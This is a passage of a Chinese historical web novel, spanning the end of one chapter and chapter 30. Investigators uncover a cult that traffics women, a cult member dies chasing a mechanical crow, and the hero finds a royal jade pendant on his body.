窸窣的声响不绝,虽无稻花香,也无呱叫缠人,可郭老六怎感觉不对劲。
脑子里的筋绷得直直,每一步都逼迫郭老六再次检查周边。他想,到底圣在天上庇佑,为他扫清一切。
蹲的姿势已不太行,晏城找住郭老六同他人商议时的空档,拉住想听得更清楚的陶严。两人步履轻微,不踩草叶,踩在砖石铺就的道路上。
晏城盯紧郭老六他们的动作,陶严则转身观察后方,防止踩在翘起的石砖上,打得一片重响。
离巷口不远处,亮天的烛火未点,晏城停在此处,注意力不再集中那处,连还想往前凑的陶严,也被他拦下。
陶严困惑:“钟旺还在那儿,我们不可抛弃他。”
晏城点点头,他取下系在腰间的龙纹玉佩,轻敲几声,响玉的声清脆,混杂在丝竹里,不突兀却融入其中。
他深知所有,也熟晓一切。
谢知珩性情有时过于偏激,手旁养了不知多少的能人,读懂唇语,只是天聋之人与生俱来的恩赐。
无时无刻不在监听,晏城一举一行,说出的每一句话,都会被写于纸上。
晏城安抚躁动的陶严:“会有人,为我们看照钟旺,也会为我们监晓一切。”
陶严安下心来,不冒失般匆匆闯进去。他走出巷口,根据才听得的话语,走向欢声笑语不绝,银饰清脆入耳,不似环佩相撞,是另一种异域奇色。
不再拒她们如洪水猛兽,陶严盯紧姑娘欢笑神色下的哭泣,她们的悲痛,被拐卖异乡,以色侍人的悲痛。
脖颈的银圈堆得很高,异彩满织的衣裳,看不出施虐徒留的痕迹。
很可恶,陶严低下眉眼,眸眼里的怒火烧不尽心头的愤恨。
可为了姑娘着想,他还得面带温柔笑意,同几位姑娘聊天,也好在,他游历时学了点苗语。
巷深处,郭老六横刀扫了许久,匍匐在地,连草的根都快被铲出,仍未找到危险。
同行人仍在搬运尸体,因郭老六于教中地位不低,又是个识字书生,他们对此不夹有丝毫的抱怨。
“会不会藏在已叠放好的肉身里?”
他说着,刀尖对向堆叠着的肉身,一具叠得更高,有风时,吹动她们轻薄的衣裳。
藏匿于此的钟旺,屏息不敢出声,也不敢有任何动作。
可同时她也怕,怕这人凶性大起,不顾死去人的尊容,不尊重她们,鞭挞尸体。
“钟旺……”
听人说起时,晏城的心也因担忧而吊起来,捏紧的手心出了不少的汗。
30. 第 30 章
浓墨的夜色里,似察觉不出刀尖步步紧逼的迫慑感,方划破草叶,方挖出草根,于其裹上的泥腥味刺入钟旺鼻尖。
泥腥味没那么刺鼻,也不如血腥味那般充斥极致的震迫。可对钟旺来说,血腥味是常有,她曾滚浴血腥之中,早无旁人那般惧怕意浓。
靴底厚重,精心勾绣的千层底,踩低压伏的草叶,窸窸窣窣的声音,与滴落唇角滑进的血锈味。
整个感官,都被声音与味道攫取所有控制。钟旺低垂眼帘,颤动如鸦羽的长睫,去轻扫胸上那幼童褴褛的粗布。
倾诉坏兆的玄鸦高站枝头,仰脖鸣叫,比那山歌村笛,都要呕哑嘲哳,实为难听。
晏城紧握龙纹玉佩,工匠每一处精心雕刻的凸起龙鳞,都磨得他掌心具痛,不似刀割,却更似凌迟。
甚至,他想立即跑过去,弄出点声响来,惊扰那些做虐的暴徒,以藏匿于他们心头的谨慎与胆怯,逼得他们如鼠蛇那般四处逃逸。
可若真这般行动,不就破了先前所有的一切,也毁了所发现的一切。
同时,等待他们去拯救,去发现的虐行也无法由此揭开。
妇孺仍被施虐,老鼠却藏于阴沟,再无处可寻。
蹲守晏城的侍卫,敏锐察觉晏城情绪的躁动起伏,细小的声音扰得心神不宁。本就无法平静的心湖,自为地掀起一阵又一阵的涟漪。
侍卫垂首,于晏城耳旁轻声道:“郎君请放心,此等鼠辈主子早已察觉,已布好万全准备。”
无论是再启的竹林苑,还是在数不清的银饰堆积下,满是泪痕虐症的南疆姑娘,口无遮拦的搬运者,脏言荤语中夹杂的圣教,都足以让谢知珩警惕不已。
早已察觉?
晏城心神一动,虽有惊讶,但瞬时复于平静内。
谢知珩的眼线就似无数条黑线,以皇城为中心点,四处辐射,牢牢将京城掌控在手心。
仰起头,浓墨混着星河的紫晕,朝天去的昏黄灯火,把谢知珩自指尖吐出的傀儡丝,掩盖得完完全全。
别人都是金丝笼,独谢知珩却摘取玄色,鸦黑的浓郁覆盖整个京城,覆盖整个北方。
那玄鸦还在鸣叫,竹林苑的丝竹声都无法替代,一声比一声哑,比一声破烂,连软绵绵尸身上的粗布,都比之好受点。
“狗娘蛋的,这乌鸦叫得可真难听,俺家婆娘叫/床都比它好听!”
郭老六也因这烦躁的鸦叫震怒不已,持刀横向玄鸦,气怒超甚他紧绷的筋。他撸起袖子,两瘦弱的双腿大岔,走向玄鸦。
他自以为自个神气无比,与那粗老汉相比,更有迫慑威。
可不想,郭老六识了字后,为让形象更贴那些文弱书生,特意使自己瘦小,说是与文人常称赞的竹杆一般。
明里高赞竹子,暗地里却贬踩无比,就个造房子的木头,哪有什么宁折不弯。
火烤之后,不还得弯,果然文人就是个纸老虎,一火烤就跟个兔子没什么区别。
郭老六想着,他在泥土摸爬打滚多年,旱年爬树摘鸟蛋多了去,自是不惧这有两个他腰身粗的大树。
玄鸦仍在叫,似察觉不到将来的危难。
它能有什么遭遇?不过是与那些瘦软的尸身一般,血与皮被剥去,藏于皮下的软肉与骨髓,都被剥开,融入无尽的灾厄中。
“哑—哑——”
玄鸦的声音本就哀婉,藏于黑夜中,落在无往不前的郭老六耳中,就是那堆尸身再一次的死前哀鸣。
她们跪地求饶的卑微,她们一声夹着一声哭哀。
高高在上掌管他人命运的权势感,让郭老六涌起的高高在上感,逼他在圣教中走得更高。
逼,郭老六将一切都归结为这些苦弱女子的逼迫。
若非惧怕阴魂化为恶鬼,郭老六也不会越发信仰圣教,他的虔诚被圣教看在眼里,越得提拔。
郭老六:“我能落到现在地步,都是你们逼我的!”
那玄鸦不惧怕,猩红的眸子锁紧郭老六,与他挥舞老高,割破月轮的长刀。
曾听他人言,东方的阴曹地府,西方的弯镰死神,大抵是这般场景吧,玄鸦眸子不曾眨过。
那红,似块抹了血的铜镜,映照郭老六狰狞又丑陋的嘴脸。
郭老六攀上玄鸦栖息的枝头,邪笑,及他那被欲望侵蚀的堕化面孔,让黑夜也染上惧怕。
玄鸦似被人息惊扰,它高扇羽翼,要展翅而飞。
“小畜生,往哪跑啊!”郭老六因倦累而气喘吁吁,哑声里充斥散不尽的恶臭黏着。
他似是兴奋,在掌控生死中,得到巅峰。
玄鸦是鸟,展翅便可高飞的鸟,它能自主走出那个漆黑恐怯的地牢。
只瞧它,挥动翅膀,脚爪在郭老六胡乱的抓捕中,在他手背上划破一道又一道的伤痕。每一道,都疼得郭老六倒吸气,手不知往哪挥舞,抓向何处。
郭老六气愤不已:“小畜生,有种别跑啊,有种别飞啊!”
玄鸦可不理他,它高展黑色的,溶于这黑夜、这黑屋的羽翼,在郭老六的目视中,扑通飞过郭老六的头顶。
郭老六只顾着抓捕这玄鸦,却不想自己攀爬于枝头上,身体因玄鸦的高飞,慌忙地后仰。
拎着的长刀又重,他拿来威胁的武器,成了此时拖他坠入深渊的利器。郭老六自救不成,从那有三人高的大树上坠落下去。
头先着地,于丛草中碎开,曾从那些弱女子体内窃取的血肉,在此刻还了过去。
玄鸦飞降在郭老六瘪矮的鼻尖,猩红的眸子仍旧不眨,混着那股血浆,恐怖得不似活物,倒像是恶鬼冤魂前来索命。
“……”
仍在搬运尸身、拖扯晕厥弱女的粗老汉,为此惧怕不已,忙放下手中活计,四处逃窜。
“鬼啊!”
可他们方出声未几句,竹林苑内便有人走出,一袭遮掩全身的白布,在黑夜中,在冷蓝的天色里,显得格外诡异。
那人被他们的尖叫声吓住,拔刀的手都慢了些。虽慢了那一刻,在粗老汉们造成更大声响之前,他们落得与郭老六同样的地步。
浓郁的鲜血在地面辐散开来,沿流过只剩茬的草丛,最终凝聚在堆叠的尸身里。
她们在吸收,汲取仇恨,汲取复仇的快乐,那些人的鲜血。
出刀很快,能搬运的苦工却不剩一人,满地的狼藉也无人善后,白衣人开始痛恨自己急切。
该死的,怎不留一人处理这粗事,他可是圣教坛主,哪能做这等下贱事!
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另一白衣人也轻声埋怨他许久,只是说多,只让人觉得烦躁,没一会儿,两人便争执起来。
怕他人听见,只压低声音,可没避开躲在尸身里的钟旺。
浑身鲜血已冷至她动弹不了,积压的尸身保护她,助她隐藏,没让他们发现。
很想说声谢谢,可紧迫的形势,让钟旺开不了口。
玄鸦也翩然飞落,踩在黏着鲜红的血河中,似被驯养般,安抚地用头蹭蹭钟旺冰凉的额头。
钟旺一愣,她有些不敢置信。因为玄鸦传来的温热,因为那熟悉的毛发,是一根又一根的乌鸦鸟羽,却与真鸟完全不同。
玄鸦,是被人操控的假鸟。
它的一举一动都被束缚在人的十指之间,发生的所有,都映照在人的瞳孔之中。
谢知珩身旁养有不少能人巧匠,玄鸦的主人,便是他精心培育的巧匠。
随着两位白衣人因争执不下,而怒然离开的场景,竹林苑院后再复曾经的宁静。
满地的尸身,满地流淌的血河,每踩上一步,晏城不觉恶心,只觉心快,只觉压抑的情绪受此释放。
吸着女人尸身的血肉爬上去,又无尽的贬斥女人。
本想先把钟旺拉扯出来,却不想尸身太多,堆积成山谷,晏城无法把人救出来。
可当钟旺想出来时,却跟条灵活的蛇般,不一会儿就溜爬出来,那些阻拦晏城的尸身,不曾阻拦过钟旺一步。
临死的瞳孔睁得老大,刻印其上的痛苦将本该美丽,本该活泼的眼睛磋磨成惧怕的恶鬼瞳,在黑夜中,吓退每一位前来敲她们骨髓,吸食她们血肉的男人。
晏城害怕不已,弯腰拜了拜几下,若非掌心无香,他这虔诚的模样定会动容不少佛祖。
念声“叨唠诸位了”后,他后退几步,将尸身留给同为女儿身的钟旺,自己去处理搜寻那些死去的老汉。
最先是郭老六,此人瞧之前举止,是位读过书的,又心狠手辣之徒。
此间,书籍仍是贵重之物,多存于皇宫,多存于勋贵世家手中,还是前几任皇帝为捧科举,阶层流动,才大开藏书阁,放儒经入民间。
是几任帝王持之以恒的坚持,与世家勋贵不到尽头的抗衡,让平民家的凤也能落入朝野里。
地位不低,晏城在怀里翻出一本书,几张折叠好的纸来。
因仍在黑夜中,晏城视力绝佳,但也经不起这番折腾啊。收入囊中,又继续翻找,从那里衣的夹层里,翻出枚玉佩来。
玉佩,君子之物,常见于勋贵子弟腰间,初登朝野的官员都不曾有过。
郭老六非龙非凤,怎会有如此贵重物品?
脑浆与鲜血将这枚玉佩染得着实脏浊,腥臭的味道让人难以忍受,随行的侍卫为晏城戴上面巾,阻了不少的味。
指腹在玉佩上研磨几番,熟悉的纹路让晏城一惊,他日日盘过的玉身,便有这龙纹。
谢知珩赠与他的玉佩,大宗独有的身份标识,今日却在郭老六身上摸得一块,且瞧其手感,并非假物。
到底是怎一回事?
难道这拐卖妇孺的肮脏丑事,谢知珩也插手了?
晏城顿时抓不清杂乱的思绪,他似乎有些不知道,该如何去面对高居朝野的太子殿下了。